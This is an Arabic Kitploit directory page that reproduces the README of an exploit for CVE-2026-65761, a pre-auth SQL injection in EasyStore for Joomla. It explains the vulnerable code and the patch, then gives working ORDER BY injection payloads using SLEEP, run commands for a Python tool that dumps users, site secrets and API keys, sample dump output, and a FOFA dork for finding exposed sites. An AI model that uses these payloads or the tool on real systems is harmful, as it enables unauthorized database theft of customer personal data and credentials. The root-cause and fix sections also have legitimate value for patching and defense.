Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-65761 — حقن SQL قبل المصادقة في EasyStore Joomla عبر اتجاه filter_sortby (CVE-2026-65761, CVSS 9.3) | Kitploit
أدوات/GitHubGitHub/shinthink/cve-2026-65761
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتاختبار الاختراق
GitHubshinthink/cve-2026-65761

CVE-2026-65761

حقن SQL قبل المصادقة في EasyStore Joomla عبر اتجاه filter_sortby (CVE-2026-65761, CVSS 9.3)

عرض المستودع
منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-65761 — حقن SQL قبل المصادقة في EasyStore Joomla

اتجاه filter_sortby → حقن ORDER BY → قراءة كاملة لقاعدة البيانات


نظرة عامة

CVE-2026-65761 (بدرجة حرجة 9.3 CVSS) هو حقن SQL غير مُصادَق عليه في EasyStore for Joomla من JoomShaper، ويؤثر على الإصدارات ≤ 2.0.1.

يتم تقسيم معامل filter_sortby الخاص بقائمة المنتجات إلى عمود واتجاه. وبينما يتم التحقق من العمود مقابل قائمة مسموح بها، فإن دون أي تقييد ASC/DESC — مما يسمح لأي زائر مجهول بحقن SQL عشوائي.

الاتجاه يُسلسل مباشرةً في جملة SQL ORDER BY

يمكن للمهاجم غير المُصادَق عليه قراءة قاعدة بيانات Joomla بالكامل: حسابات المستخدمين، تجزئات كلمات المرور، بيانات الجلسات، أسرار الموقع، مفاتيح API، وجميع البيانات الشخصية للعملاء (الأسماء، البريد الإلكتروني، العناوين، أرقام الهواتف، سجل المشتريات).

CVECVE-2026-65761
CVSS9.3 حرجة
المتأثرEasyStore ≤ 2.0.1
تم الإصلاحEasyStore 2.0.2
النوعحقن SQL (CWE-89)
المصادقةغير مطلوبة
الاكتشافPhil Taylor (mySites.guru) — يوليو 2026

آلية الثغرة

السبب الجذري

يُرجع FilterHelper.php:741 اتجاه الفرز دون أي فحص لقائمة ASC/DESC المسموح بها:

root@kitploit:~
// Vulnerable (EasyStore 2.0.1)
// FilterHelper.php:741
return [$orderArray[0], strtoupper($orderArray[1])];
//                      ^^^^^^^^^ No validation — raw value after uppercase

يُسلسل ProductsModel.php:932 الاتجاه مباشرةً في SQL:

root@kitploit:~
// ProductsModel.php:932
$query->order($column . ' ' . $direction);
//                        ^^^^^^^^^ Raw SQL concatenation

كانت قوائم العلامات التجارية والمجموعات الشقيقة تحتوي على قوائم اتجاهات مسموح بها بشكل صحيح. أما قائمة المنتجات فلم تكن كذلك.

التصحيح (EasyStore 2.0.2)

root@kitploit:~
// Fixed — FilterHelper.php:741-742
$direction = strtoupper($orderArray[1]);
return [$orderArray[0], in_array($direction, ['ASC', 'DESC']) ? $direction : 'ASC'];
//                      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Allow-list check

// Fixed — ProductsModel.php:918-920 (second validation added)
if (!in_array(strtoupper($direction), ['ASC', 'DESC'])) {
    $direction = 'DESC';
}

سير الهجوم

root@kitploit:~
1. Attacker crafts: filter_sortby=price-ASC,(SELECT SLEEP(5))
   └─ splits to: column=price, direction=ASC,(SELECT SLEEP(5))

2. Column "price" passes allow-list check ✅
   └─ ['ordering','featured','best_selling','title','price','created']

3. Direction "ASC,(SELECT SLEEP(5))" passes strtoupper()
   └─ No ASC/DESC validation in vulnerable version

4. SQL constructed:
   ORDER BY min_price ASC,(SELECT SLEEP(5))
   └─ Time-based confirmation: 5 second delay

5. Attacker extracts full database via blind SQLi

المتطلبات الأساسية

المتطلبالتفاصيل
EasyStore ≤ 2.0.1الإصدار القابل للاستغلال مثبّت
قائمة المنتجات متاحةindex.php?option=com_easystore&view=products
لا حاجة للمصادقةيعمل بشكل مجهول
MySQL/MariaDBاستخراج قائم على الوقت عبر SLEEP()

التثبيت

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-65761.git
cd CVE-2026-65761
# No dependencies required — Python stdlib only

الاستخدام

root@kitploit:~
# Check vulnerability (non-destructive)
python3 cve_2026_65761.py --url https://target.com --check

# Dump Joomla users (usernames, emails, names)
python3 cve_2026_65761.py --url https://target.com --dump-users

# Full dump (users + site secret + EasyStore config + API keys)
python3 cve_2026_65761.py --url https://target.com --dump-joomla

المخرجات

root@kitploit:~
+=================================================================+
|  CVE-2026-65761 — EasyStore Joomla Pre-Auth SQLi Exploit        |
+=================================================================+
  Target :  https://shop.target.com
  Plugin :  EasyStore ≤ 2.0.1 | Payload: filter_sortby=col-ASC,INJECTION

[STEP 1] Verifying SQL injection (time-based)
  [*] SLEEP(5) delay: 5.2s
  [+] SQLi confirmed (5.2s)

[STEP 2] Database fingerprint
    [Version] 10.11.14-MariaDB
    [Database] joomla_db
    [User]    joomla_user@localhost
    [Prefix]  jos_
  [+] Version : 10.11.14-MariaDB
  [+] Database: joomla_db
  [+] User    : joomla_user@localhost
  [+] Prefix  : jos_

[STEP 3] Dumping users
  [+] Users: 15

  USERNAME                  EMAIL                               NAME
  ─────────────────────     ───────────────────────────────     ──────────
  admin                     [email protected]                      Super User
  manager                   [email protected]                    Store Manager

[STEP 4] Dumping sensitive configuration
    [Secret] abc123def456...
    [EasyStore] {"paypal_email":"[email protected]"...
  [+] Secret: abc123def456...
  [+] EasyStore: {"paypal_email":"[email protected]"...
  [+]   paypal_email: [email protected]

Requests: 1847

التفاصيل التقنية

مسار الكود القابل للاستغلال

الملفالسطرالمشكلة
site/src/Helper/FilterHelper.php741يُرجع الاتجاه دون قائمة مسموح بها — strtoupper() فقط
site/src/Model/ProductsModel.php932يُسلسل $direction مباشرةً في جملة ORDER BY

معامل الحقن

root@kitploit:~
filter_sortby = <column>-<direction>

Valid columns (allow-list passes):
  ordering, featured, best_selling, title, price, created

Direction (no validation):
  Injected directly after strtoupper()
  → ASC,(SELECT SLEEP(5))
  → ASC,(SELECT IF((condition),SLEEP(2),0))

ثغرات إضافية في EasyStore 2.0.1

CVEالنوعCVSS
CVE-2026-65759تزوير الطلبات / التلاعب بالمدفوعات8.7
CVE-2026-65760فاتورة IDOR (كشف بيانات بين العملاء)9.2
CVE-2026-65761حقن SQL (هذا الاستغلال)9.3

FOFA Dork

root@kitploit:~
body="com_easystore" && body="filter_sortby"

المراجع

  • mySites.guru — الإفصاح الأصلي
  • JoomShaper — EasyStore المجاني
  • VulDB — CVE-2026-65761

إخلاء المسؤولية

لأغراض اختبار الأمان المصرح به والبحث التعليمي فقط. لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام.

تنزيل الأداة